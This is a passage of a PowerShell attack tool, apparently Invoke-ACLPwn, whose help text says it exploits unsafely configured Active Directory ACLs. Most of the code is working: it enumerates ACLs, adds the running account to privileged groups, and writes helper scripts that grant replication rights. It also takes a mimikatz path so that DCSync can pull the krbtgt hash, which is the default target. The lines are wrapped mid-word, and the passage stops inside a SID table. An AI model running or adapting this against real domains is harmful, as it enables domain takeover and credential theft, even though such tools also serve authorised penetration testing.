# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTH
ERWISE, ARISNG FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE
# SOFTWARE.
#
####################

# thx: https://github.com/NickolajA/PowerShell/blob/maste
```

```
r/AzureAD/Set-AADSyncPermissions.ps1
# thx: https://social.technet.microsoft.com/Forums/ie/en-U
S/f238d2b0-a1d7-48e8-8a60-542e7ccfa2e8/recursive-retrieval
-of-all-ad-group-memberships-of-a-user?forum=ITCG
# thx: https://raw.githubusercontent.com/canix1/ADACLScann
er/master/ADACLScan.ps1
# thx: https://blogs.msdn.microsoft.com/dsadsi/2013/07/09/
setting-active-directory-object-permissions-using-powershe
ll-and-system-directoryservices/

[CmdletBinding()]
[Alias()]
[OutputType([int])]
Param
(
    [string]$domain,
    [string]$username,
    [string]$password,
    [string]$protocol = 'LDAP',
    [string]$port = 389,
    [switch]$WhatIf,
    [switch]$NoSecCleanup,
    [switch]$NoDCSync,
    [string]$mimiKatzLocation,
    [string]$SharpHoundLocation,
    [string]$userAccountToPwn = 'krbtgt',
    [switch]$logToFile
)

#region ADFunctions


#Adds users to given group
function Set-GroupMembership ($groupDN, [switch]$Remove) {

    if ($global:ldapConnInfo.Integrated_Login){
```

```
        $principalContext = New-Object System.DirectorySer
vices.AccountManagement.PrincipalContext `
                        'Domain', $($global:ldapConnInfo.d
omain)
    }
    else {
            $principalContext = New-Object System.Director
yServices.AccountManagement.PrincipalContext `
                        'Domain', $($global:ldapConnInfo.d
omain), $($global:ldapConnInfo.username),$($global:ldapCon
nInfo.password)
    }

    $idType = [System.DirectoryServices.AccountManagement.
IdentityType]::DistinguishedName
    $grpPrincipal = [System.DirectoryServices.AccountManag
ement.GroupPrincipal]::FindByIdentity($principalContext,
$idType, $groupDN)

    if ($grpPrincipal -eq $null){
        Write-Bad "$($GroupDN) not found."
    } else{

        # do we need to remove the account?
        if ($Remove) {
            [void]$grpPrincipal.Members.Remove($principalC
ontext, $idType, $($global:ldapConnInfo.distinguishedNam
e))
        } else {
            [void]$grpPrincipal.Members.Add($principalCont
ext, $idType, $($global:ldapConnInfo.distinguishedName))
        }
        $grpPrincipal.Save()

        return 'Done'
    }
```

```
    # cleanup
    $principalContext.Dispose()

    if ($grpPrincipal -ne $null){
        $grpPrincipal.Dispose()
    }
}

# Gets given attribute for AD object
function Get-AttrForADObject ([string]$objectName, [string
[]]$props) {

    $result = [string]::Empty

    # Sharphound returns sAmAccountname with @domain
    $ldapQuery = "(&(objectClass=user)(|(name=$objectName)
(sAMAccountName=$objectName)(userPrincipalName=$objectNam
e)))"
    if ($objectName.ToString().Contains('@')) {
        $_user = $objectName.split('@')[0]
        $ldapQuery = "(&(objectClass=user)(|(name=$objectN
ame)(sAMAccountName=$_user)(sAMAccountName=$objectName)(us
erPrincipalName=$objectName)))"
    }

    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $dirEntry
    $dirSearcher.Filter = $ldapQuery
    [void]$dirSearcher.PropertiesToLoad.AddRange($props)
    $sResult = $dirSearcher.FindOne()

    if ($sResult -eq $null) {
        throw '[Get-AttrForADObject] User not found.'
```

```
    }

    $result = $sResult.Properties

    # cleanup
    try {
        $dirSearcher.Dispose()
        $dirEntry.Dispose()
    }

    catch {}

    return $result

}

# Get distinguishedName for an AD object
function Get-DistinguishedNameForObject ([string]$obj) {

    # Sharphound returns sAmAccountname with @domain
    $ldapQuery = "(&(|(objectClass=group)(objectClass=use
r))(|(sAMAccountName=$obj)(userPrincipalName=$obj)))"
    if ($obj.ToString().Contains('@')) {
        $_obj = $obj.split('@')[0]
        $ldapQuery = "(&(|(objectClass=group)(objectClass=
user))(|(sAMAccountName=$_obj)(sAMAccountName=$obj)(userPr
incipalName=$obj)))"
    }

    $result = [string]::Empty
    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $dirEntry
    $dirSearcher.Filter = $ldapQuery
    [void]$dirSearcher.PropertiesToLoad.Add('distinguished
```

```
Name')
    $sResult = $dirSearcher.FindOne()

    if ($sResult -eq $null) {
        throw '[Get-DistinguishedNameForObject] User not f
ound.'
    }

    $result = $sResult.Properties['distinguishedName'][0]

    # cleanup
    $dirSearcher.Dispose()
    $dirEntry.Dispose()

    return $result
}

# Get groupmembership for supplied user
function Get-GroupMembership([string]$objName, [bool]$recu
rsive = $true) {

    $results = @()

    # Get DN for user
    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $ObjDN = Get-DistinguishedNameForObject -obj $objName

    # Use custom OID (LDAP_MATCHING_RULE_IN_CHAIN) for fin
ding groups that this user is a (in)direct member of
    # Search from top of the domain
    $domainDirEntry = Get-DomainDirEntry -dirEntry $dirEnt
ry

    # Make the seach recursive, or not.
    [string]$ldapFilter = [string]::Empty
```

```
    if ($recursive) {
        $ldapFilter = "(member:1.2.840.113556.1.4.1941:=$O
bjDN)"
    } else {
        $ldapFilter = "(member=$ObjDN)"
    }

    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $domainDirEntry
    $dirSearcher.Filter = $ldapFilter
    $dirSearcher.PageSize = 1000
    $dirSearcher.SearchScope = "Subtree"

    $sResults = $dirSearcher.FindAll()

    if ($sResults -eq $null) {
        throw '[Get-Groupmembership] User not found.'
    }

    $sResults | ForEach-Object {
        $results += New-Object PSObject -Property @{
            'groupDN'   = $_.Properties['distinguishedNam
e'][0]
            'NTAccount' = $_.Properties['sAMAccountName']
[0]
        }
    }

    # cleanup
    $dirEntry.Dispose()
    $domainDirEntry.Dispose()
    $dirSearcher.Dispose()

    return $results
}
```

```
# Gets groupmembership of object
function Get-GroupMember ([string]$objectName){

    $results = @()

    # Get DN for user
    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $ObjDN = Get-DistinguishedNameForObject -obj $objectNa
me

    # Use custom OID (LDAP_MATCHING_RULE_IN_CHAIN) for fin
ding groups that this user is a (in)direct member of
    # Search from top of the domain
    $domainDirEntry = Get-DomainDirEntry -dirEntry $dirEnt
ry

    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $domainDirEntry
    $dirSearcher.Filter = "(memberOf:1.2.840.113556.1.4.19
41:=$ObjDN)"
    $dirSearcher.PageSize = 1000
    $dirSearcher.SearchScope = "Subtree"

    $sResults = $dirSearcher.FindAll()

    if ($sResults -eq $null) {
        throw '[Get-Groupmember] User/Object not found.'
    }

    $sResults | ForEach-Object {
        $results += New-Object PSObject -Property @{
            'groupDN'   = $_.Properties['distinguishedNam
e'][0]
            'NTAccount' = $_.Properties['sAMAccountName']
[0]
```

```
        }
    }

    # cleanup
    $dirEntry.Dispose()
    $domainDirEntry.Dispose()
    $dirSearcher.Dispose()

    return $results

}

# Get-DomainDirEntry
function Get-DomainDirEntry {

    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $dirEntry
    $dirSearcher.Filter = "(&(objectClass=domain))"

    $sResult = $dirSearcher.FindOne()

    if ($sResult -eq $null) {
        throw '[Get-DomainDirEntry] Domain not found.'
    }

    $domainDirEntry = $sResult.GetDirectoryEntry()

    # cleanup
    $dirEntry.Dispose()
    $dirSearcher.Dispose()

    return $domainDirEntry
}
```

```
# Get-DomainDN
function Get-DomainDN {

    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $dirEntry
    $dirSearcher.Filter = "(&(objectClass=domain))"

    $sResult = $dirSearcher.FindOne()

    if ($sResult -eq $null) {
        throw '[Get-DomainDN] Domain not found.'
    }

    $domainDirEntry = $sResult.Path
    $dirEntry.Dispose()
    $dirSearcher.Dispose()

    return $domainDirEntry
}

# Get Schema and config DN
function Get-SchemaAndConfigContext {

    $dirEntry = Get-DirEntry "LDAP://$($global:ADInfo.prim
aryDC)/RootDSE"
    $schemaContext = $dirEntry.schemaNamingContext
    $configContext = $dirEntry.configurationNamingContext

    $global:ADInfo.ConfigurationNamingContext = $configCon
text[0]
    $global:ADInfo.schemaNamingContext = $schemaContext[0]

    #cleanup
    $dirEntry.Dispose()
```

```
}

# Get classes from schema
function Get-SchemaClasses {

    # We need the schemacontext for this one
    $schemaDirEntry = Get-DirEntry "$($global:ldapConnInf
o.protocol)://$($global:ADInfo.primaryDC)/$($global:ADInf
o.schemaNamingContext)"

    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $schemaDirEntry
    $dirSearcher.Filter = "(schemaIDGUID=*)"
    $dirSearcher.PageSize = 10000000
    [void]$dirSearcher.PropertiesToLoad.Add('ldapDisplayNa
me')
    [void]$dirSearcher.PropertiesToLoad.Add('schemaIDGUI
D')

    $sResult = $dirSearcher.FindAll()

    if ($sResult -eq $null) {
        throw '[Get-SchemaClasses] No SchemaClasses not fo
und.'
    }

    #$results = @()
    $results = @{}
    foreach ($r in $sResult) {
        $results[$r.Properties['ldapDisplayName'][0]] = [g
uid]$r.Properties['schemaidguid'][0]
    }

    #cleanup
    $schemaDirEntry.Dispose()
    $dirSearcher.Dispose()
```

```
    # Add some static guids
    # ref: https://technet.microsoft.com/en-us/library/ff4
06260.aspx
    $constGUID = @()
    $constName = @()

    $constGUID += '72e39547-7b18-11d1-adef-00c04fd8d5cd'
    $constGUID += 'b8119fd0-04f6-4762-ab7a-4986c76b3f9a'
    $constGUID += 'c7407360-20bf-11d0-a768-00aa006e0529'
    $constGUID += 'e45795b2-9455-11d1-aebd-0000f80367c1'
    $constGUID += '59ba2f42-79a2-11d0-9020-00c04fc2d3cf'
    $constGUID += 'bc0ac240-79a9-11d0-9020-00c04fc2d4cf'
    $constGUID += '77b5b886-944a-11d1-aebd-0000f80367c1'
    $constGUID += 'e48d0154-bcf8-11d1-8702-00c04fb96050'
    $constGUID += '4c164200-20c0-11d0-a768-00aa006e0529'
    $constGUID += '5f202010-79a5-11d0-9020-00c04fc2d4cf'
    $constGUID += 'e45795b3-9455-11d1-aebd-0000f80367c1'

    $constName += 'DNS Host Name Attributes'
    $constName += 'Other Domain Parameters'
    $constName += 'Domain Password and Lockout Policies'
    $constName += 'Phone and Mail Options'
    $constName += 'General Information'
    $constName += 'Group Membership'
    $constName += 'Personal Information'
    $constName += 'Public Information'
    $constName += 'Account Restrictions'
    $constName += 'Logon Information'
    $constName += 'Web Information'

    for ($i = 0; $i -lt $constName.Length; $i++) {
        <#$results += New-Object PSObject -Property @{
            'LDAPPath'        = [string]::Empty
            'schemaIdGuid'    = $constGUID[$i]
            'ldapDisplayName' = $constName[$i]
```

```
        }#>
        $results[$constName[$i]] = $constGUID[$i]
    }


    return $results
}

# Get all names and GUIDs of extended rights
function Get-ExtendedRights {

    # We need the configurationcontext for this one

    $configDirEntry = Get-DirEntry "$($global:ldapConnInf
o.protocol)://$($global:ADInfo.primaryDC)/$($global:ADInf
o.ConfigurationNamingContext)"
    $dirSearcher = New-Object System.DirectoryServices.Dir
ectorySearcher $configDirEntry
    $dirSearcher.PageSize = 10000000
    $dirSearcher.Filter = "(&(objectClass=controlAccessRig
ht)(rightsGUID=*))"

    [void]$dirSearcher.PropertiesToLoad.Add('displayName')
    [void]$dirSearcher.PropertiesToLoad.Add('rightsGUID')

    $sResult = $dirSearcher.FindAll()

    $results = @()
    foreach ($r in $sResult) {
        $results += New-Object PSObject -Property @{
            'schemaIdGuid'    = [guid]$r.Properties['right
sGUID'][0]
            'ldapDisplayName' = $r.Properties['displayNam
e'][0]
            'LDAPPath'        = $r.Properties['adspath']
[0]
```

```
        }
    }

    # cleanup
    $configDirEntry.Dispose()
    $dirSearcher.Dispose()

    return $results
}

# Returns the value of a well known SID or the already fou
nd NTAccount name
function Translate-IdentityReference ($reference, [bool]$r
esolve) {

    $result = [string]::Empty


    $result = $global:dicKnownSids[$reference]

    if ($result -eq $null) {

        # Do we need to resolve?
        if ($resolve) {
            $t = Get-DirEntry "$($global:ldapConnInfo.prot
ocol)://$($global:ADInfo.primaryDC)/<SID=$reference>"

            $foundRef = $t.Name
            if ([string]::IsNullOrEmpty($foundRef)) {
                # No name found. return $reference
                $foundRef = $reference
            }
            else {
                # Add to our dictionary
                $global:dicKnownSids[$reference] = $t.Nam
e.Value
```

```
            }

            $reference = $foundRef
        }

        $result = $reference
    }

    return $result
}

# Retrieve ACL of given ldap object
function Get-ADObjectACL ($objectDN) {

    # Check if we need to resolve SIDs
    $partOfDomain = (Get-WmiObject -Class Win32_ComputerSy
stem).PartOfDomain
    $LookupSIDs = $false
    if (-not $partOfDomain) {
        Write-Status 'This computer is not part of the tar
get domain. Will lookup SIDs manually.'
        $LookupSIDs = $true
    }


    # Takes a while
    $results = @()
    $dirEntry = Get-DirEntry -ldapDN $objectDN

    # Retrieve ACL for domainobject
    $ruleType = [System.Security.Principal.NTAccount]
    $accessRules = $dirEntry.get_ObjectSecurity().GetAcces
sRules($true, $true, $ruleType)

    $iCounter = 0
```

```
    foreach ($ace in $accessRules) {

        $eR = [string]::Empty
        $attribute = [string]::Empty
        $identifyReference = [string]::Empty

        # Convert extendedright to something readable
        if ($ace.ActiveDirectoryRights -eq 'ExtendedRigh
t') {
            $eR = ($global:ADInfo.extendedRights | Where-O
bject {$_.schemaIdGuid -eq $ace.ObjectType}).ldapDisplayNa
me
        }
        else {
            $attribute = ($global:ADInfo.schemaClasses.Get
Enumerator() | Where-Object {$_.Value.Guid -eq $ace.Object
Type}).Name
        }

        # Get ID reference
        $identifyReference = Translate-IdentityReference
$ace.IdentityReference.Value -resolve $LookupSIDs

        $results += New-Object PSObject -Property @{

            'RightType'         = $ace.ActiveDirectoryRigh
ts
            'Allow/Deny'        = $ace.AccessControlType
            'IdentityReference' = $identifyReference
            'rawIdRef'          = $ace.IdentityReference.V
alue
            'extendedRight'     = $eR
            'attribute'         = $attribute
            'Applies to'        = ($global:ADInfo.schemaCl
asses | Where-Object {$_.schemaIdGuid -eq $ace.InheritedOb
jectType}).ldapDisplayName
```

```
        }

        $iCounter++
        Write-Progress -Activity "Parsing ACL for object
'$objectDN'. This may take a while.." `
            -PercentComplete $($iCounter / $accessRules.Co
unt * 100) `
            -Status "Parsing ACE for $($identifyReferenc
e)"
    }

    # cleanup
    $dirEntry.Dispose()

    return new-object PSObject -property @{
        'Parsed_result' = $results
        'raw_results'   = $accessRules
    }
}

# Gets directoryEntry to supplied LDAPDN.
function Get-DirEntry ($ldapDN) {

    $_ldapDN = [string]::Empty

    # Check if DN starts with LDAP:// or GC://
    if (-not ($ldapDN -imatch '^(?:ldap|gc)\:\/\/.+(\d{1,
3})?')) {
        $_ldapDN = "$($global:ldapConnInfo.protocol)://
$($ldapDN)"
    }
    else {
        $_ldapDN = $ldapDN
    }

    $authType = [System.DirectoryServices.AuthenticationTy
```

```
pes]::Secure

    if ($global:ldapConnInfo.Integrated_Login) {

        $_dirEntry = New-Object System.DirectoryServices.D
irectoryEntry $global:ldapConnInfo.LDAPConnString
    }
    else {
        $_dirEntry = New-Object System.DirectoryServices.D
irectoryEntry $global:ldapConnInfo.LDAPConnString, $globa
l:ldapConnInfo.Username, $global:ldapConnInfo.Password, $a
uthType
    }

    $_dirEntry.Path = $_ldapDN
    return $_dirEntry
}

# Get primaryDC from domain
function Get-PrimaryDC {

    # Connect to AD, find domaincontroller with the PDC FS
MO role
    $dirEntry = Get-DirEntry -ldapDN $global:ldapConnInfo.
LDAPConnString
    $dirSearcher = New-object System.DirectoryServices.Dir
ectorySearcher $dirEntry
    $dirSearcher.Filter = '(&(objectClass=domainDNS)(fSMOR
oleOwner=*))'
    [void]$dirSearcher.PropertiesToLoad.Add('fSMORoleOwne
r')

    $sResult = $dirSearcher.FindOne()
    $result = [string]::Empty
    if ($sResult) {
        $roleOwner = $sResult.Properties['fSMORoleOwner']
```

```
[0].ToString()
        $roleOwnerParent = (Get-DirEntry "$roleOwner").Par
ent
        $pDCFQDN = (Get-DirEntry "$RoleOwnerParent").dnsHo
stName
    }
    else {
        Write-Error 'Failed to retrieve primary domain con
troller. Please check script\computer settings'
        return
    }

    $result = $pDCFQDN

    # cleanup
    if (-not $dirSearcher.Disposed) {
        $dirSearcher.Dispose()
    }

    if (-not $dirEntry.Disposed) {
        $dirEntry.Dispose()
    }

    return $result
}

# Uses ActiveDirectory namespace from directoryservices. N
ewer
function Get-PrimaryDC35 {

    $dirCtx = Get-DirectoryContext -ctxType Domain -target
Name $global:ldapConnInfo.domain
    $domain = [System.DirectoryServices.ActiveDirectory.Do
main]::GetDomain($dirCtx)
    $pdc = $domain.PdcRoleOwner.Name
```

```
    # cleanup
    $domain.Dispose()

    return $pdc
}

# returns authenticated directoryContext
function Get-DirectoryContext {
    param (
        [System.DirectoryServices.ActiveDirectory.Director
yContextType]$ctxType = [System.DirectoryServices.ActiveDi
rectory.DirectoryContextType]::Domain,
        [string]$targetName = [string]::empty
    )

    if ($global:ldapConnInfo.Integrated_Login) {
        $dirCtx = new-object System.DirectoryServices.Acti
veDirectory.DirectoryContext $ctxType, $targetName
    }
    else {
        $dirCtx = new-object System.DirectoryServices.Acti
veDirectory.DirectoryContext $ctxType, $targetName,
        $global:ldapConnInfo.username, $global:ldapConnInf
o.Password
    }

    return $dirCtx
}

#endregion

#region ScriptFunctions

function Get-Help {

    $helpMsg = @"
```

```
    This tool can be used to calculate and exploit unsafe
configured ACLs in Active Directory.
    More information: https://blog.fox-it.com/

    Required parameters:
        SharpHoundLocation: location of sharphound.exe

    Optional parameters:
        Domain            : FQDN of the target domain
        Username          : Username to authenticate with
        Password          : Password to authenticate with
        WhatIf            : Displays only the action the s
cript intends to do. No exploitation.
                            Access as well as potential ac
cess will increase if the user account is added
                            to security groups, so the res
ult of this switch may look incomplete.
        NoSecCleanup      : By default, the user will be r
emoved from the ACL and the groups that were added during
runtime when the script is finished.
                            Setting this switch will leave
that in tact.
        NoDCSync          : Will not run DCSync after all
necessary steps have been taken
        userAccountToPwn  : User account to retrieve NTLM
hash of. Only single user accounts supported now. Defaults
to krbtgt account.
        logToFile         : Switch to write console output
to file with the same name as script.
        mimiKatzLocation  : location of mimikatz.exe


    The tool will use integrated authentication, unless do
main FQDN, username and password are specified.
    Please note that while protocol and port are optional
```

```
parameters too, they've not been
    incorporated completely within the script.

    Usage: ./Invoke-ACL.ps1 -mimiKatzLocation <location> -
SharpHoundLocation <location>`r`n
"@

    Write-Host $helpMsg
}

function Invoke-Cleanup {

    # Removes files that were created
    Write-Status 'Removing files...'
    $global:filesCreated | Sort-Object -unique | ForEach-O
bject {
        Remove-Item -Path $_ -Force
    }

    # Remove ACE's
    if (-not $global:NoSecCleanup){
        Write-Status "Removing ACEs..."
        Remove-ReplicationPartner
    }

    # Remove groupmembership, LIFO
    if (-not $global:NoSecCleanup){
        for ($i = $global:GroupAdded.Count -1; $i -ge 0;
$i--){
            $res = Set-GroupMembership -groupDN $global:Gr
oupAdded[$i] -Remove
            if ($res -ne 'Done'){
                Write-Bad "Failed to remove groupmembershi
p for group: $($global:GroupAdded[$i])"
            } else {
                Write-Status "User removed from group:
```

```
$($global:GroupAdded[$i])"
            }
        }
    }
}

function Start-PSScript ([string]$scriptLoc, [string]$scri
ptParam) {

    if (-not (Test-Path $scriptLoc)) {
        Write-Bad 'Script not found'
        return $false
    }

    $powershellPath = 'C:\Windows\system32\WindowsPowerShe
ll\v1.0\powershell.exe'
    $params = "-file `"$scriptLoc`" -domain `"$($global:ld
apConnInfo.domain)`" -username `"$($global:ldapConnInfo.us
ername)`" -password `"$($global:ldapConnInfo.password)`"
$scriptParam"

    $pinfo = New-Object System.Diagnostics.ProcessStartInf
o
    $pinfo.FileName = "$powershellPath"
    $pinfo.RedirectStandardError = $true
    $pinfo.RedirectStandardOutput = $true
    $pinfo.UseShellExecute = $false
    $pinfo.Arguments = "$params"

    $p = New-Object System.Diagnostics.Process
    $p.StartInfo = $pinfo
    $p.Start() | Out-Null
    $p.WaitForExit()
    $output = $p.StandardOutput.ReadToEnd()
    $output += $p.StandardError.ReadToEnd()
```

```
    # cleanup
    $p.Dispose()

    return $output
}

function Invoke-Runas {
    #thx: https://raw.githubusercontent.com/FuzzySecurity/
PowerShell-Suite/master/Invoke-Runas.ps1
Param (
            [Parameter(Mandatory = $True)]
            [string]$User,
            [Parameter(Mandatory = $True)]
            [string]$Password,
            [Parameter(Mandatory = $False)]
            [string]$Domain=".",
            [Parameter(Mandatory = $True)]
            [string]$Binary,
            [Parameter(Mandatory = $False)]
            [string]$Args=$null,
            [Parameter(Mandatory = $True)]
            [int][ValidateSet(1,2)]
            [string]$LogonType
)

        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;

        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
```

```
            public uint dwProcessId;
            public uint dwThreadId;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = Cha
rSet.Unicode)]
        public struct STARTUPINFO
        {
            public uint cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }

        public static class Advapi32
        {
            [DllImport("advapi32.dll", SetLastError=true,
CharSet=CharSet.Unicode)]
            public static extern bool CreateProcessWithLog
onW(
                String userName,
                String domain,
```

```
                String password,
                int logonFlags,
                String applicationName,
                String commandLine,
                int creationFlags,
                int environment,
                String currentDirectory,
                ref  STARTUPINFO startupInfo,
                out PROCESS_INFORMATION processInformatio
n);
        }

        public static class Kernel32
        {
            [DllImport("kernel32.dll")]
            public static extern uint GetLastError();
        }
"@

        # StartupInfo Struct
        $StartupInfo = New-Object STARTUPINFO
        $StartupInfo.dwFlags = 0x00000001
        #$StartupInfo.wShowWindow = 0x0001
        $StartupInfo.wShowWindow = 0x0000
        $StartupInfo.cb = [System.Runtime.InteropServices.
Marshal]::SizeOf($StartupInfo)

        # ProcessInfo Struct
        $ProcessInfo = New-Object PROCESS_INFORMATION

        # CreateProcessWithLogonW --> lpCurrentDirectory
        $GetCurrentPath = (Get-Item -Path ".\" -Verbose).F
ullName

        #echo "`n[>] Calling Advapi32::CreateProcessWithLo
gonW"
```

```
        $CallResult = [Advapi32]::CreateProcessWithLogonW(
            $User, $Domain, $Password, $LogonType, $Binar
y,
            $Args, 0x04000000, $null, $GetCurrentPath,
            [ref]$StartupInfo, [ref]$ProcessInfo)

        if (!$CallResult) {
            Write-Error "`nMmm, something went wrong! GetL
astError returned:"
            Write-Error  "==> $((New-Object System.Compone
ntModel.Win32Exception([int][Kernel32]::GetLastError())).M
essage)`n"
        }
}


function Write-Good ($str) {
    $msg = "[+]`t$str"
    Write-Host $msg -ForegroundColor Green

    if ($logToFile){
        $msg | Out-File -Append -FilePath 'Invoke-ACLPwn.l
og'
    }
}

function Write-Status ($str) {
    $msg = "[*]`t$str"
    Write-Host $msg -ForegroundColor Yellow

    if ($logToFile){
        $msg | Out-File -Append -FilePath 'Invoke-ACLPwn.l
og'
    }
}
```

```
function Write-Bad ($str) {
    $msg = "[-]`t$str"
    Write-Host $msg -ForegroundColor Red

    if ($logToFile){
        $msg | Out-File -Append -FilePath 'Invoke-ACLPwn.l
og'
    }
}

function Get-ExtendedRightByName([string]$displayname) {
    return ($global:ADInfo.extendedRights | Where-Object
{$_.ldapDisplayName -eq $displayname}).schemaIdGuid.Guid
}

function Invoke-Cmd([string]$cmd, [string]$argV) {

    if (-not (Test-Path $cmd)){
        Write-Error "Path '$cmd' does not exist!"
        return
    }

    if ($global:ldapConnInfo.Integrated_Login) {
        Invoke-Expression -Command "$($cmd) $argV" | out-n
ull
    } else {
        Invoke-Runas -User $global:ldapConnInfo.sAMAccount
Name -Password $global:ldapConnInfo.password -Domain $glob
al:ldapConnInfo.domain -Binary $cmd -LogonType 0x2 -Args
$argV
    }
}

# Writes Add-ACE function to file
function Write-AddACEToFile {
```

```
    $script = @'
    [CmdletBinding()]
    [Alias()]
    [OutputType([int])]
    Param
    (
        # Param1 help description
        [string]$domain,
        [string]$username,
        [string]$password,
        [string]$protocol = 'LDAP',
        [int]$port = 389,

        #ACE params
        [switch]$integratedLogin,
        [string]$userSIDString,
        [string]$rightType,
        [string]$action,
        [string]$propertyGUID

    )

    #Get directoryEntry
    Add-Type -AssemblyName System.DirectoryServices

    $ldapConnString = "$($protocol)://$($domain)"

    try {

        # translate GUIDs and SIDs from string to either G
UID object and a SID object
        $nullGUID = [guid]'00000000-0000-0000-0000-0000000
00000'
        $propGUID = [guid]$propertyGUID
        $userSID  =  New-Object System.Security.Principal.
SecurityIdentifier $userSIDString
```

```
        # We don't need inheritance
        $inheritanceType = [System.DirectoryServices.Activ
eDirectorySecurityInheritance]::None

        # Build ACE
        $ACE = New-Object System.DirectoryServices.ActiveD
irectoryAccessRule $userSID , $rightType, $action, $propGU
ID, $inheritanceType, $nullGUID

        # Apply ACE. Set security masks to DACL
        if ($integratedLogin) {
            $domainDirEntry = New-Object System.DirectoryS
ervices.DirectoryEntry $ldapConnString
        } else {
            $domainDirEntry = New-Object System.DirectoryS
ervices.DirectoryEntry $ldapConnString, $username, $passwo
rd
        }

        $secOptions = $domainDirEntry.get_Options()
        $secOptions.SecurityMasks = [System.DirectoryServi
ces.SecurityMasks]::Dacl
        $domainDirEntry.RefreshCache()
        $domainDirEntry.get_ObjectSecurity().AddAccessRule
($ACE)

        # Save and cleanup
        $domainDirEntry.CommitChanges()
        $domainDirEntry.dispose()

        Write-Host 'Done' -NoNewline
    }
    catch {
        Write-Host $_.Exception
    }
```

```
'@

    $script | Out-File 'Add-ACE.ps1'

    $global:filesCreated += 'Add-ACE.ps1'
    $global:ACEScript = (Get-ChildItem -Filter 'Add-ACE.ps
1').FullName
}

# Writes AddToGroup function to file
function Write-AddToGroupToFile {

    $script = @'
        [CmdletBinding()]
    [Alias()]
    [OutputType([int])]
    Param
    (
        # Param1 help description
        [string]$domain,
        [string]$username,
        [string]$password,
        [string]$protocol = 'LDAP',
        [string]$port = 389,

        [string]$groupDN,
        [string]$userDN
    )

    Add-Type -AssemblyName System.DirectoryServices
    Add-Type -AssemblyName System.DirectoryServices.Accoun
tManagement


    $principalContext = New-Object System.DirectoryService
s.AccountManagement.PrincipalContext 'Domain', $domain, $u
```

```
sername, $password
    $idType = [System.DirectoryServices.AccountManagement.
IdentityType]::DistinguishedName
    $grpPrincipal = [System.DirectoryServices.AccountManag
ement.GroupPrincipal]::FindByIdentity($principalContext,
$idType, $groupDN)

    try {
        if ($grpPrincipal -eq $null) {
            Write-Host 'Error' -NoNewline
        }
        else {
            $grpPrincipal.Members.Add($principalContext,
$idType, $userDN)
            $grpPrincipal.Save()

            Write-Host 'Done' -NoNewline
        }
    } catch {
        Write-Host 'Error' -NoNewline
    }

    # cleanup
    $principalContext.Dispose()

    if ($grpPrincipal -ne $null) {
        $grpPrincipal.Dispose()
    }
'@
    $script | Out-File 'Add-ToGroup.ps1'

    $global:filesCreated += 'Add-ToGroup.ps1'
    $global:AddToGroupScriptFile = (Get-ChildItem -Filter
'Add-ToGroup.ps1').FullName
}
```

```
function Check-Env {

    if ([string]::IsNullOrEmpty($mimiKatzLocation)){

        if (-not $NoDCSync){
            Write-Bad "Please specify mimikatz location!"
            return $false
        }
    }

    if ([string]::IsNullOrEmpty($SharpHoundLocation)){
        Write-Bad "Please specify sharphound location!"
        return $false
    }

    # Don't clean up if NODCSYNC is set
    if ($NoDCSync -or $NoSecCleanup) {
        $global:NoSecCleanup = $true
    }

    # Structure with LDAP connection info
    $global:ldapConnInfo = New-Object PSObject -Property @
{
        'domain'            = $domain
        'username'          = $username
        'password'          = $password
        'protocol'          = $protocol
        'port'              = $port
        'Integrated_Login'  = $false
        'LDAPConnString'    = "$protocol`://$domain`:$por
t"
        'userPrincipalName' = ''
        'sAMAccountName'    = ''
        'distinguishedName' = ''
    }
```

```
    # Structure with AD info
    $global:ADInfo = New-Object PSObject -Property @{
        'primaryDC'                 = ''
        'schemaNamingContext'       = ''
        'ConfigurationNamingContext' = ''
        'domainDN'                  = ''
        'schemaClasses'             = $null
        'extendedRights'            = $null
    }

    # Array where we store our ACEs in
    $global:ACEs = @()

    # Hashtable containing SIDs and identityReference that
was queried from the domain.
    # We store it in a hashtable to keep the ldap queries
to a minimum
    $global:dicKnownSids = @{
        "S-1-0"                 = "Null Authority"; `
            "S-1-0-0"           = "Nobody"; `
            "S-1-1"             = "World Authority"; `
            "S-1-1-0"           = "Everyone"; `
            "S-1-2"             = "Local Authority"; `
            "S-1-2-0"           = "Local "; `
            "S-1-2-1"           = "Console Logon "; `
            "S-1-3"             = "Creator Authority"; `
            "S-1-3-0"           = "Creator Owner"; `
            "S-1-3-1"           = "Creator Group"; `
            "S-1-3-2"           = "Creator Owner Server";
`
            "S-1-3-3"           = "Creator Group Server";
`
            "S-1-3-4"           = "Owner Rights"; `
            "S-1-4"             = "Non-unique Authority";
`
```

```
            "S-1-5"             = "NT Authority"; `
            "S-1-5-1"           = "Dialup"; `
            "S-1-5-2"           = "Network"; `
            "S-1-5-3"           = "Batch"; `
            "S-1-5-4"           = "Interactive"; `
            "S-1-5-6"           = "Service"; `
